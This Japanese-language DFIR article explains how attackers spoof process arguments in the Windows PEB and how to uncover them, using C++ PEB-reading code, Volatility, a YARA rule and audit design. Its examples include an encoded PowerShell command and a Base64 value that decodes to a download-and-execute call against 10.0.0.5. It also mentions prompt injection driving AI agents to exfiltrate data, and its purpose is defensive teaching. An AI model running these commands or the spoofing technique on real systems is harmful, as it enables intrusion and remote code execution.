揮発する「意図」を暴く:メモリ上のPEB解析と環境変数・コマンドライン引数から紐解くDFIR極限理論
ディスクフォレンジックが「過去の確定した事実」を語るものだとしたら、メモリフォレンジックは「現在進行形の、あるいは隠蔽されかけた攻撃者の『意図』」を暴く唯一の手段である。
高度なAPT(Advanced Persistent Threat)やランサムウェアのオペレーターは、ディスクに痕跡を残さないファイルレス攻撃を好む。彼らが用いるのは、WMI、PowerShell、あるいはOS標準のバイナリを悪用する「LOLBAS(Living off the Land Binaries and Scripts)」だ。これらのツールが実行される際、コマンドライン引数や環境変数には、攻撃の成否を分ける極めて重要なアーティファクト(難読化解除キー、C2サーバーのペイロード、認証トークンなど)が一時的に配置される。
しかし、攻撃者も馬鹿ではない。彼らはプロセス引数をメモリ上で偽装(Argument Spoofing)し、Windowsイベントログ(Event ID 4688など)や標準的なEDRの監視の目をかいくぐろうとする。
本稿では、Windowsカーネルにおけるプロセス生成の低レイヤ挙動、PEB(Process Environment Block)のメモリ構造、そして攻撃者が仕掛ける「引数偽装」を見破るための高度なメモリフォレンジック技術について、実践的なコードと監査アーキテクチャを交えて深く掘り下げていく。
—
1. 低レイヤにおけるプロセス生成とPEB(Process Environment Block)の深淵
Windows OSにおいて、プロセスが生成される際、カーネルはユーザーモード空間にそのプロセス専用の制御構造体である PEB(Process Environment Block)を配置する。この構造体は、プロセスの実行コンテキスト、ロードされているモジュール(DLL)のリスト、そしてプロセスの起動引数や環境変数を管理する極めて重要な役割を担っている。
PEBと RTL_USER_PROCESS_PARAMETERS の構造
PEBの内部には、ProcessParameters というメンバが存在する。これは _RTL_USER_PROCESS_PARAMETERS 構造体へのポインタであり、以下の情報が格納されている。
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine; // プロセス起動時のコマンドライン引数
PVOID Environment; // 環境変数ブロックへのポインタ
// ... (以下略)
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
ここで注目すべきは、CommandLine(UNICODE_STRING 型)と Environment(環境変数ブロックへのポインタ)である。
CommandLine: プロセスが起動された際に渡された引数の文字列。Environment:KEY=VALUE形式のヌル終端文字列が連続し、最後にダブルヌル(\0\0)で終端されるメモリ領域へのポインタ。
攻撃者がPowerShell等を用いて、環境変数に難読化されたペイロード(Base64やXORされたシェルコード)を仕込み、コマンドラインからそれを呼び出すようなケースにおいて、これらの構造体は「真実の泉」となる。
—
2. 攻撃者の隠蔽工作:Argument Spoofing(引数偽装)のメカニズム
セキュリティ監視(EDRやWindowsイベントログ)の多くは、プロセスが作成された「瞬間」(CreateProcess APIの呼び出し時)の引数を補足する。攻撃者はこの仕様の盲点を突き、Argument Spoofing(引数偽装)と呼ばれる手法を用いる。
偽装のフロー
1. サスペンド状態での起動:
攻撃者はまず、無害な引数(例: notepad.exe C:\safe.txt)を指定し、CREATE_SUSPENDED フラグを立ててプロセスを生成する。この時点で、EDRやOSの監査ログには「無害なコマンドが実行された」と記録される。
2. PEBの書き換え:
プロセスの実行が停止している間に、攻撃者はターゲットプロセスのメモリ空間にアクセス(ReadProcessMemory / WriteProcessMemory)し、PEB->ProcessParameters->CommandLine のバッファを、本来実行したい悪意あるコマンド(例: powershell.exe -ExecutionPolicy Bypass -enc SQBuAHYAbwBrAGUALQ...)に書き換える。
3. プロセスの再開:
ResumeThread を呼び出してプロセスを再開する。プロセスは書き換えられた悪意ある引数で動作を開始する。
なぜこれがフォレンジックの主戦場となるのか?
プロセスが実行を開始した後にメモリ(PEB)を直接ダンプすると、書き換え後の「悪意あるコマンド」が露出する。一方で、Windowsイベントログや一部のAPIフック型EDRは、起動時の「無害なコマンド」しか記録していない。
この 「監査ログと実メモリの乖離」 を検知し、攻撃者の真の意図を特定することこそが、メモリフォレンジックの本質である。
—
3. 実践:メモリイメージからの抽出とPEB構造体のパース
ここでは、ライブシステムから、あるいは取得したメモリイメージから直接PEB構造体をパースし、隠蔽されたコマンドライン引数と環境変数を抽出する具体的な手法を示す。
以下は、調査対象のプロセス(PID)のメモリ空間にアクセスし、PEBおよび RTL_USER_PROCESS_PARAMETERS を直接読み解くC++コードの実装例である。
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
// 未公開の関数ポインタ定義(ntdll.dllから動的にロード)
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
void DumpProcessMemoryParameters(DWORD processId) {
// ターゲットプロセスへのハンドルをオープン(メモリ読み取りおよびクエリ権限が必要)
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
if (!hProcess) {
std::cerr << "[-] プロセスのオープンに失敗しました。管理者権限を確認してください。 Error: " << GetLastError() << std::endl;
return;
}
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
pfnNtQueryInformationProcess NtQueryInformationProcess =
(pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
if (!NtQueryInformationProcess) {
std::cerr << "[-] NtQueryInformationProcess の解決に失敗しました。" << std::endl;
CloseHandle(hProcess);
return;
}
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength = 0;
// プロセスの基本情報を取得(PEBのアドレスが含まれる)
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
if (status != 0) {
std::cerr << "[-] NtQueryInformationProcess に失敗しました。 Status: " << status << std::endl;
CloseHandle(hProcess);
return;
}
// PEB構造体をターゲットプロセスから読み取る
PEB peb;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead)) {
std::cerr << "[-] PEBの読み取りに失敗しました。 Error: " << GetLastError() << std::endl;
CloseHandle(hProcess);
return;
}
// ProcessParameters (RTL_USER_PROCESS_PARAMETERS) の読み取り
RTL_USER_PROCESS_PARAMETERS params;
if (!ReadProcessMemory(hProcess, peb.ProcessParameters, ¶ms, sizeof(params), &bytesRead)) {
std::cerr << "[-] ProcessParameters の読み取りに失敗しました。" << std::endl;
CloseHandle(hProcess);
return;
}
// コマンドライン引数の抽出
std::vector<wchar_t> cmdLineBuffer(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
if (ReadProcessMemory(hProcess, params.CommandLine.Buffer, cmdLineBuffer.data(), params.CommandLine.Length, &bytesRead)) {
std::wcout << L"[+] 検出された実コマンドライン: " << cmdLineBuffer.data() << std::endl;
} else {
std::cerr << "[-] コマンドラインバッファの読み取りに失敗しました。" << std::endl;
}
// 環境変数ブロックの読み取りと解析
// 環境変数ブロックのサイズは通常、params.EnvironmentSize に格納される(OSバージョンにより異なるため注意)
// ここでは安全に、大きなバッファを確保するか、動的にパースする。
// 簡易的に64KBのバッファを確保して走査
const SIZE_T envBufferSize = 65536;
std::vector<char> envBuffer(envBufferSize, 0);
if (ReadProcessMemory(hProcess, params.Environment, envBuffer.data(), envBufferSize, &bytesRead)) {
std::cout << "[+] 環境変数ブロックをダンプ中..." << std::endl;
// 環境変数はUnicode (UTF-16LE) で格納されているため、wchar_tとしてパース
wchar_t* pEnvChar = reinterpret_cast<wchar_t*>(envBuffer.data());
while (*pEnvChar != L'\0') {
std::wstring envEntry(pEnvChar);
// 攻撃者が仕込みやすい不審な環境変数(例: 難読化されたPowerShellコードや特定トークン)を抽出
if (envEntry.find(L"ENC") != std::wstring::npos || envEntry.find(L"secret") != std::wstring::npos) {
std::wcout << L" [!] 警告: 不審な環境変数を検出: " << envEntry << std::endl;
} else {
std::wcout << L" [-] " << envEntry << std::endl;
}
pEnvChar += envEntry.length() + 1; // 次のヌル終端文字列へ進む
}
} else {
std::cerr << "[-] 環境変数ブロックの読み取りに失敗しました。" << std::endl;
}
CloseHandle(hProcess);
}
このコードは、EDRやフォレンジックツールがプロセス内部から「真の情報」を引っこ抜く際のアプローチそのものである。
もし、イベントログに記録されている CommandLine が C:\Windows\system32\svchost.exe -k netsvcs であるにもかかわらず、このコードがPEBから powershell.exe -nop -w hidden -enc ... を引き出した場合、Argument Spoofingが100%の確率で行われたことを意味する。
—
4. 難読化PowerShellの「アンパックの瞬間」を捉える
攻撃者が環境変数に難読化ペイロードを隠蔽する場合、プロセスの実行フェーズにおいて必ず「デコード(難読化解除)」のフェーズが発生する。
例えば、攻撃者が以下のようなコマンドを起動したとする。
powershell.exe -Command "IEX ([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($env:STAGE_DATA)))"
この時、環境変数 STAGE_DATA にはBase64でエンコードされた第2ステージのペイロードが格納されている。
メモリフォレンジック(Volatility 3)による追跡
インシデントハンドラーは、不審なプロセスのメモリダンプ(.dmp)から、これらの環境変数を瞬時に抽出しなければならない。
Volatility 3 を使用する場合、windows.envars プラグインを用いて環境変数をリストアップする。
# 特定のプロセス(例: PID 4820)の環境変数を抽出
python3 vol.py -f suspicious_memdump.raw windows.envars --pid 4820
出力結果から、以下のような不自然なエントリーを特定する。
| PID | Process | Variable | Value |
| :— | :— | :— | :— |
| 4820 | powershell.exe | STAGE_DATA | aW52b2tlLWV4cHJlc3Npb24gKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoJ2h0dHA6Ly8xMC4wLjAuNS9wYXlsb2FkJyk= |
このBase64値をデコードすると、攻撃者の本音(C2サーバーからの追加ペイロードのダウンロード指示)が露わになる。
invoke-expression (new-object net.webclient).downloadstring('http://10.0.0.5/payload')
YARAルールによるインメモリ・スキャン
不審な文字列がメモリ上に展開された瞬間を検知するために、SOCやEDRはYARAルールをメモリ空間(HeapやStack領域)に対して走査する。
rule Detect_Obfuscated_PowerShell_Envars {
meta:
description = "メモリ上の環境変数ブロック内に配置された難読化PowerShellコードを検知"
author = "Senior Threat Hunter"
severity = "Critical"
strings:
// Base64エンコードされた 'Invoke-Expression' や 'IEX' の一般的なバリエーション
$b64_iex1 = "aW52b2tlLWV4cHJlc3Npb24" ascii wide nocase
$b64_iex2 = "SVAp" ascii wide // 短いエンコードパターン
// 環境変数からの読み出しを試みるパターン
$env_read = /\$env:[A-Za-z0-9_]+/ ascii wide nocase
condition:
any of ($b64_iex*) and $env_read
}
—
5. 防衛側(Defenders)のためのアーキテクチャ設計と監査戦略
攻撃者がPEBやAPIフックをバイパスしようとする中で、防衛側はどのようにして堅牢な監視体制を構築すべきか。
1. APIフックに依存しないカーネルベースのテレメトリ(Kernel Callback)
多くの安価なセキュリティツールは、ユーザーモードでのAPIフック(CreateProcessW の監視など)に依存しているため、引数偽装やフックの解除(Unhooking)に対して脆弱である。
モダンなEDRやセキュリティアーキテクチャは、Windowsカーネルが提供する PsSetCreateProcessNotifyRoutineEx コールバックを使用しなければならない。このコールバックは、プロセスが生成される直前にカーネル空間でトリガーされるため、ユーザーモードでの書き換えが困難な「起動時の真のパラメータ」を確実に記録する。
2. WMIとETW (Event Tracing for Windows) の相関分析
ETWは、プロセスの挙動を追跡するための強力なデータソースである。特に Microsoft-Windows-Kernel-Process プロバイダは、プロセスの起動および終了時の詳細なテレメトリをリアルタイムで提供する。
- 監査ポリシーの設定:
「プロセス作成の監査」(Audit Process Creation)を有効にし、さらに「プロセス作成イベントにコマンドラインを含める」を有効化する。
- イベントID 4688 と PEB のクロスチェック:
SIEMにおいて、4688イベント(Securityログ)に記録されたコマンドライン文字列と、SysmonイベントID 1(Process Create)またはETWから収集された情報を突合し、同一のプロセスIDに対してコマンドラインの不整合が生じていないかを常時監視する。
3. 生成AI時代の新たな脅威:プロンプトインジェクションと実行メモリ
今後、生成AI(LLM)エージェントが自律的にシェルスクリプトやOSコマンドを実行するシステムが増加する。この環境下では、AIエージェントが悪意あるプロンプトインジェクションを受け、意図しないコマンド(例: 環境変数を経由したデータの外部送出)を実行させられるリスクが生じる。
このようなシステム(LLMゲートウェイ)におけるガードレイル設計として、以下の実装が推奨される。
[ユーザー入力] ──> [LLMエージェント]
│ (実行コマンド生成)
▼
[ガードレイル(バリデータ)]
- コマンドラインのサニタイズ(ホワイトリスト形式)
- 許可されていない環境変数アクセスの遮断
│
▼
[分離されたサンドボックス]
- プロセス実行(最小権限)
- メモリ整合性の動的監査(PEBスキャン)
—
6. 結び:インシデントレスポンスの現場から
フォレンジックの現場において、攻撃者が残した「形跡」は常に断片的である。ログファイルは消去され、ファイルはディスクから抹消されているかもしれない。しかし、攻撃者が何らかのコードを実行した以上、その痕跡は必ず揮発性メモリの中に、PEBの不整合、あるいはヒープ上の未割り当て領域として残存する。
プロセス引数の偽装や環境変数を利用した難読化は、一見すると高度なステルステクニックに見える。しかし、Windows OSのメモリ構造(PEB)の原理原則を理解していれば、それはむしろ攻撃者の「意図」が明確に露出したアキレス腱となるのだ。
現場の泥臭いログ解析と、低レイヤのメモリ解析をシームレスに結びつけること。それこそが、洗練されたサイバー攻撃を無力化する、真のディフェンダーの力である。
コメント